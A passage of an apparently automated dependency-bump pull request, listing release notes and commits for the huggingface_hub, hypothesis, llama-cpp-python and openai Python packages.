href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3610\"\u003e#3610\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix auth_list not showing HF_TOKEN message when no stored tokens exist by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3608\"\u003e#3608\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/huggingface/huggingface_hub/compare/v1.2.1...v1.2.2\"\u003ehttps://github.com/huggingface/huggingface_hub/compare/v1.2.1...v1.2.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.2.1: Smarter Rate Limit Handling, Daily Papers API and more QoL improvements!\u003c/h2\u003e\n\u003ch2\u003e🚦 Smarter Rate Limit Handling\u003c/h2\u003e\n\u003cp\u003eWe've improved how the \u003ccode\u003ehuggingface_hub\u003c/code\u003e library handles rate limits from the Hub. When you hit a rate limit, you'll now see clear, actionable error messages telling you exactly how long to wait and how many requests you have left.\u003c/p\u003e\n\u003cpre lang=\"console\"\u003e\u003ccode\u003eHfHubHTTPError: 429 Too Many Requests for url: https://huggingface.co/api/models/username/reponame.\nRetry after 55 seconds (0/2500 requests remaining in current 300s window).\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhen a 429 error occurs, the SDK automatically parses the \u003ccode\u003eRateLimit\u003c/code\u003e header to extract the exact number of seconds until the rate limit resets, then waits precisely that duration before retrying. This applies to file downloads (i.e. Resolvers), uploads, and paginated Hub API calls (\u003ccode\u003elist_models\u003c/code\u003e, \u003ccode\u003elist_datasets\u003c/code\u003e, \u003ccode\u003elist_spaces\u003c/code\u003e, etc.).\u003c/p\u003e\n\u003cp\u003eMore info about Hub rate limits in the docs 👉 \u003ca href=\"https://huggingface.co/docs/hub/rate-limits#hub-rate-limits\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003eParse rate limit headers for better 429 error messages by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3570\"\u003e#3570\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse rate limit headers for smarter retry in http backoff by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3577\"\u003e#3577\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHarmonize retry behavior for metadata fetch and \u003ccode\u003eHfFileSystem\u003c/code\u003e by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3583\"\u003e#3583\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd retry for preupload endpoint by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3588\"\u003e#3588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse default retry values in pagination by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3587\"\u003e#3587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003ch2\u003e✨ HF API\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eDaily Papers endpoint\u003c/strong\u003e: You can now programmatically access Hugging Face's daily papers feed. You can filter by week, month, or submitter, and sort by publication date or trending.\u003c/p\u003e\n\u003cpre lang=\"python\"\u003e\u003ccode\u003efrom huggingface_hub import list_daily_papers\n\u003cp\u003efor paper in list_daily_papers(date=\u0026quot;2025-12-03\u0026quot;):\nprint(paper.title)\u003c/p\u003e\n\u003ch1\u003eDeepSeek-V3.2: Pushing the Frontier of Open Large Language Models\u003c/h1\u003e\n\u003ch1\u003eToolOrchestra: Elevating Intelligence via Efficient Model and Tool Orchestration\u003c/h1\u003e\n\u003ch1\u003eMultiShotMaster: A Controllable Multi-Shot Video Generation Framework\u003c/h1\u003e\n\u003ch1\u003eDeep Research: A Systematic Survey\u003c/h1\u003e\n\u003ch1\u003eMG-Nav: Dual-Scale Visual Navigation via Sparse Spatial Memory\u003c/h1\u003e\n\u003cp\u003e...\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAdd daily papers endpoint by \u003ca href=\"https://github.com/BastienGimbert\"\u003e\u003ccode\u003e@​BastienGimbert\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3502\"\u003e#3502\u003c/a\u003e\nAdd more parameters to daily papers by \u003ca href=\"https://github.com/Samoed\"\u003e\u003ccode\u003e@​Samoed\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3585\"\u003e#3585\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cstrong\u003eOffline mode helper\u003c/strong\u003e: we recommend using \u003ccode\u003ehuggingface_hub.is_offline_mode()\u003c/code\u003e to check whether offline mode is enabled instead of checking \u003ccode\u003eHF_HUB_OFFLINE\u003c/code\u003e directly.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAdd \u003ccode\u003eoffline_mode\u003c/code\u003e helper by \u003ca href=\"https://github.com/Wauplin\"\u003e\u003ccode\u003e@​Wauplin\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3593\"\u003e#3593\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/222bb9d97045d08412e3333c6c96f4411fad8d63\"\u003e\u003ccode\u003e222bb9d\u003c/code\u003e\u003c/a\u003e Release: v1.2.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/877cec084d010b67a73aeb8459f97f008451923e\"\u003e\u003ccode\u003e877cec0\u003c/code\u003e\u003c/a\u003e Fix unbound local error when reading corrupted metadata files (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3610\"\u003e#3610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/8519f0d169da578b3bace34eb7377102ecde9e33\"\u003e\u003ccode\u003e8519f0d\u003c/code\u003e\u003c/a\u003e log a message when HF_TOKEN is set in auth list (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3608\"\u003e#3608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/d0bc91403e88be8c1cceab7111c2198ade134d2c\"\u003e\u003ccode\u003ed0bc914\u003c/code\u003e\u003c/a\u003e Release: v1.2.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/59dd9f5dbb7d4b091a9184a22b136e2045465ec7\"\u003e\u003ccode\u003e59dd9f5\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into v1.2-release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/5ad0254ce2ae8491b14f4c0bce132ad1c94a1151\"\u003e\u003ccode\u003e5ad0254\u003c/code\u003e\u003c/a\u003e Rename utility to is_offline_mode (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3598\"\u003e#3598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/231c4cca972ac660c0402b6f4e894ea13d41ae29\"\u003e\u003ccode\u003e231c4cc\u003c/code\u003e\u003c/a\u003e Release: v1.2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/dc6e7bea51dc13449caa4f451887a2c0162e2f93\"\u003e\u003ccode\u003edc6e7be\u003c/code\u003e\u003c/a\u003e Release: v1.2.0.rc0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/d31c68d84b1e0a1e7a102cdb7a6330444759d2d3\"\u003e\u003ccode\u003ed31c68d\u003c/code\u003e\u003c/a\u003e use constants.HF_HUB_ETAG_TIMEOUT as timeout for get_hf_file_meta… (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3595\"\u003e#3595\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/a6a23ac8c8950253861573f4adc6ded1d64e55f6\"\u003e\u003ccode\u003ea6a23ac\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eoffline_mode\u003c/code\u003e helper (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3593\"\u003e#3593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/huggingface/huggingface_hub/compare/v1.1.4...v1.2.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `hypothesis` from 6.148.1 to 6.148.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/HypothesisWorks/hypothesis/releases\"\u003ehypothesis's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.7\u003c/h2\u003e\n\u003cp\u003eWhen multiple explicit \u0026quot;\u003ca href=\"https://github.com/example\"\u003e\u003ccode\u003e@​example\u003c/code\u003e\u003c/a\u003e\u0026quot; decorators fail with the same error,\nHypothesis now shows only the simplest failing example (by shortlex\norder) with a note about how many other examples also failed (issue\n\u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003eTo see all failing examples, use \u0026quot;Verbosity.verbose\u0026quot; or higher.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-7\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.6\u003c/h2\u003e\n\u003cp\u003eFix a bug where we persisted symbolics from solver-based alternative\nbackends in \u0026quot;event()\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-6\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.5\u003c/h2\u003e\n\u003cp\u003eThis patch improves the error message for \u0026quot;FlakyStrategyDefinition\u0026quot;\nwhen the precondition for a rule is flaky (issue \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4206\"\u003e#4206\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-5\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.4\u003c/h2\u003e\n\u003cp\u003eThis patch improves the type annotations for \u0026quot;basic_indices()\u0026quot;. The\nreturn type now accurately reflects the \u0026quot;allow_ellipsis\u0026quot; and\n\u0026quot;allow_newaxis\u0026quot; parameters, excluding \u0026quot;EllipsisType\u0026quot; or \u0026quot;None\u0026quot; from\nthe union when those index types are disabled (issue \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4607\"\u003e#4607\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003eAdditionally, \u0026quot;assume()\u0026quot; now has overloaded type annotations:\n\u0026quot;assume(True)\u0026quot; returns \u0026quot;Literal[True]\u0026quot;, while \u0026quot;assume(False)\u0026quot; and\n\u0026quot;assume(None)\u0026quot; return \u0026quot;NoReturn\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-4\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.3\u003c/h2\u003e\n\u003cp\u003eClean up some internal code.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-3\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.2\u003c/h2\u003e\n\u003cp\u003eDocument \u0026quot;fuzz_one_input()\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-2\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/f1f106b9b1766d39d6d1d543c0523339ed70ad88\"\u003e\u003ccode\u003ef1f106b\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.7 and update changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/72412fefc8f6c8cc329bf75ed7d2f368e4012622\"\u003e\u003ccode\u003e72412fe\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4612\"\u003e#4612\u003c/a\u003e from Zac-HD/claude/fix-hypothesis-4520-01UQ4jW8HBCjR...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/39220d25905fac8683e5f3211b82d9eb2ebe5d89\"\u003e\u003ccode\u003e39220d2\u003c/code\u003e\u003c/a\u003e reword message\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/1f84ca2b6953fddeca329d6fc196775d6b9e016a\"\u003e\u003ccode\u003e1f84ca2\u003c/code\u003e\u003c/a\u003e simplify\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/57a6607622497e38301b2093bfbc2aad613e3619\"\u003e\u003ccode\u003e57a6607\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.6 and update changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/a7fbda4fb4d77cd180d531287bec80c422bd7412\"\u003e\u003ccode\u003ea7fbda4\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4507\"\u003e#4507\u003c/a\u003e from Liam-DeVoe/crosshair-event\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/5715090daecbc3e00c74c1d2b922d13e35c0bf90\"\u003e\u003ccode\u003e5715090\u003c/code\u003e\u003c/a\u003e bump crosshair\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/2231eeaa15a12f9eb1b18c5310f63db5cdcd85c7\"\u003e\u003ccode\u003e2231eea\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into crosshair-event\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/831ed067de120910fc6041e133c578778029ab2f\"\u003e\u003ccode\u003e831ed06\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into crosshair-event\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/3605694a68576c4b4adb520a3581d97f30cfce92\"\u003e\u003ccode\u003e3605694\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.5 and update changelog\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.148.1...hypothesis-python-6.148.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `llama-cpp-python` from 0.2.90 to 0.3.16\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@a0374a67e2924f2e845cdc59dd67d9a44065a89c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.11]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Update reference to \u003ccode\u003ellama_kv_cache_clear\u003c/code\u003e in Llama.embed. Closes \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2037\"\u003e#2037\u003c/a\u003e by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in 9e5a4eaa84156084ed7bbb91e6efcc91dc6217bc\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.10]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8846aace4934ad29651ea61b8c7e3f6b0556e3d2\u003c/li\u003e\n\u003cli\u003efeat: Add support for llama.cpp multimodal, add Qwen2.5-VL chat handler by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in cd548bd0f14210627798237d5c2ea78acfb88ccb\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.9]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8733e0cf6eefc7c7752297cc22d0836706f4222c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.8]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7841fc723e059d1fd9640e5c0ef19050fcc7c698\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.7]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@794fe23f29fb40104975c91fe19f23798f7c726e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA workflow by \u003ca href=\"https://github.com/oobabooga\"\u003e\u003ccode\u003e@​oobabooga\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1894\"\u003e#1894\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: error showing time spent in llama perf context print, adds \u003ccode\u003eno_perf\u003c/code\u003e flag to \u003ccode\u003eLlama\u003c/code\u003e class by \u003ca href=\"https://github.com/shakalaca\"\u003e\u003ccode\u003e@​shakalaca\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1898\"\u003e#1898\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.6]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f7cd13301c2a88f97073fd119072b4cc92c08df1\u003c/li\u003e\n\u003cli\u003efix(server): streaming resource lock by \u003ca href=\"https://github.com/gjpower\"\u003e\u003ccode\u003e@​gjpower\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1879\"\u003e#1879\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.90...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `openai` from 2.8.1 to 2.11.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/openai/openai-python/releases\"\u003eopenai's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.11.0\u003c/h2\u003e\n\u003ch2\u003e2.11.0 (2025-12-11)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.10.0...v2.11.0\"\u003ev2.10.0...v2.11.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e gpt 5.2 (\u003ca href=\"https://github.com/openai/openai-python/commit/dd9b8e85cf91fe0d7470143fba10fe950ec740c4\"\u003edd9b8e8\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.10.0\u003c/h2\u003e\n\u003ch2\u003e2.10.0 (2025-12-10)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.9.0...v2.10.0\"\u003ev2.9.0...v2.10.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e make model required for the responses/compact endpoint (\u003ca href=\"https://github.com/openai/openai-python/commit/a12936b18cf19009d4e6d586c9b1958359636dbe\"\u003ea12936b\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e allow pyright to infer TypedDict types within SequenceNotStr (\u003ca href=\"https://github.com/openai/openai-python/commit/8f0d23066c1edc38a6e9858b054dceaf92ae001b\"\u003e8f0d230\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd missing docstrings (\u003ca href=\"https://github.com/openai/openai-python/commit/f20a9a18a421ba69622c77ab539509d218e774eb\"\u003ef20a9a1\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einternal:\u003c/strong\u003e update docstring (\u003ca href=\"https://github.com/openai/openai-python/commit/9a993f2261b6524aa30b955e006c7ea89f086968\"\u003e9a993f2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.9.0\u003c/h2\u003e\n\u003ch2\u003e2.9.0 (2025-12-04)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.8.1...v2.9.0\"\u003ev2.8.1...v2.9.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e gpt-5.1-codex-max and responses/compact (\u003ca 